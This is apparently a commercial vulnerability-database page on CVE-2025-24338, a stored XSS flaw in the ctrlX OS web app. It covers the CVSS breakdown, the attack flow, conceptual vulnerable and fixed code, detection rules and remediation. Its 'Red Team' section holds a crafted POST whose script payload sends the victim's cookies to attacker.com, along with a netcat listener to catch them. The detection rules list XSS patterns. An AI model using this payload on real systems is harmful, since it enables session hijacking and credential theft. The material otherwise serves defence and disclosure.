CVE-2025-24338
Executive Summary
CVE-2025-24338 is a stored cross-site scripting (XSS) vulnerability in the “Manages app data” functionality of the ctrlX OS web application. A remote authenticated attacker with low privileges can inject arbitrary client-side code via multiple crafted HTTP requests. When another user (including a higher-privileged user) accesses the affected functionality, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further lateral movement within the ctrlX environment. The CVSS score is 7.1 (High), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a low-privileged account.
- User Interaction (UI): Required (R) – Victim must visit the malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full access to victim’s session data.
- Integrity (I): High (H) – Attacker can modify data in the victim’s session.
- Availability (A): Low (L) – Minor impact on availability.
Threat Level: High. The attack is easy to execute once authenticated, and the impact on confidentiality and integrity is severe.
Deep Dive & Mechanics
The vulnerability resides in the “Manages app data” endpoint of the ctrlX OS web application. This endpoint is used to store and retrieve application-specific data. The application fails to properly sanitize user-supplied input before storing it in the backend. When a victim user (e.g., an administrator) navigates to the page that renders this stored data, the malicious script is executed in their browser.
Attack Flow:
- Attacker authenticates with low-privileged credentials.
- Attacker sends a crafted HTTP POST request to the “Manages app data” endpoint with a payload like
<script>alert('XSS')</script>. - The server stores the payload without sanitization.
- Victim (e.g., admin) visits the same page.
- The stored payload is rendered and executed in the victim’s browser.
- Attacker can now steal cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: Lack of output encoding and input validation on the “Manages app data” functionality.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
// Server-side endpoint (Node.js/Express example)
app.post('/api/appdata', (req, res) => {
const data = req.body.data;
// No sanitization
db.save(data);
res.send('OK');
});
app.get('/api/appdata', (req, res) => {
const data = db.load();
// Renders raw data into HTML without encoding
res.send(`<div>${data}</div>`);
});
Patched Code (Conceptual):
// Server-side endpoint (Node.js/Express example)
const sanitizeHtml = require('sanitize-html');
app.post('/api/appdata', (req, res) => {
const data = sanitizeHtml(req.body.data, {
allowedTags: [],
allowedAttributes: {}
});
db.save(data);
res.send('OK');
});
app.get('/api/appdata', (req, res) => {
const data = db.load();
// Output encoding
res.send(`<div>${escapeHtml(data)}</div>`);
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- Low-privileged account on ctrlX OS.
- Network access to the web application.
Exploit Steps:
- Log in to the ctrlX web app with low-privileged credentials.
- Intercept the request to the “Manages app data” endpoint (e.g., using Burp Suite).
- Craft a malicious payload:
POST /api/appdata HTTP/1.1 Host: ctrlx.local Cookie: session=lowprivsession Content-Type: application/json {"data": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"} - Send the request.
- Wait for an admin user to visit the affected page.
- Receive the stolen cookie at your attacker-controlled server.
Lab Setup:
- Use a virtual machine running ctrlX OS (if available) or a similar web application.
- Set up a simple HTTP server to capture exfiltrated data:
nc -lvnp 80.
Blue Team
Detection Steps:
- Monitor for unusual POST requests to
/api/appdatacontaining script tags or event handlers. - Check server logs for repeated requests from the same low-privileged user to the same endpoint.
- Use a web application firewall (WAF) to block common XSS patterns.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri="/api/appdata" method=POST
| rex field=uri_query "data=(?<payload>.*)"
| where match(payload, "<script|onerror|onload|javascript:")
| table _time, src_ip, user, payload
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/appdatawith suspicious payloads (e.g.,<script>,onerror,javascript:). - Outbound connections to unknown IPs on port 80/443 from the ctrlX server.
- POST requests to
- Host IOCs:
- Unexpected entries in the application database containing HTML/JavaScript.
- Modified or new files in the web root directory (e.g.,
/var/www/html/).
- Log IOCs:
- Repeated 200 responses to
/api/appdatafrom the same low-privileged user. - Error logs showing failed sanitization attempts.
- Repeated 200 responses to
Detection Engineering
YARA Rule
rule CVE_2025_24338_XSS_Payload {
meta:
description = "Detects XSS payloads targeting ctrlX OS app data endpoint"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-24338"
strings:
$xss1 = "<script" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
$xss5 = "onfocus=" ascii wide nocase
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-24338 XSS Attempt on ctrlX OS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in POST requests to the app data endpoint
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/appdata'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in app data (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24338 XSS Payload in POST to /api/appdata"; flow:to_server,established; content:"POST"; http_method; content:"/api/appdata"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the “Manages app data” functionality if not critical for operations.
- Implement input validation – Reject any data containing HTML tags or JavaScript event handlers.
- Apply output encoding – Use context-aware encoding (e.g., HTML entity encoding) when rendering stored data.
- Use Content Security Policy (CSP) – Restrict script execution to trusted sources.
Long-Term Fix:
- Wait for the vendor to release a patch. Monitor the ctrlX OS security advisory page.
- Upgrade to the patched version once available.
Workaround:
- Deploy a WAF rule to block common XSS patterns in POST requests to
/api/appdata.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.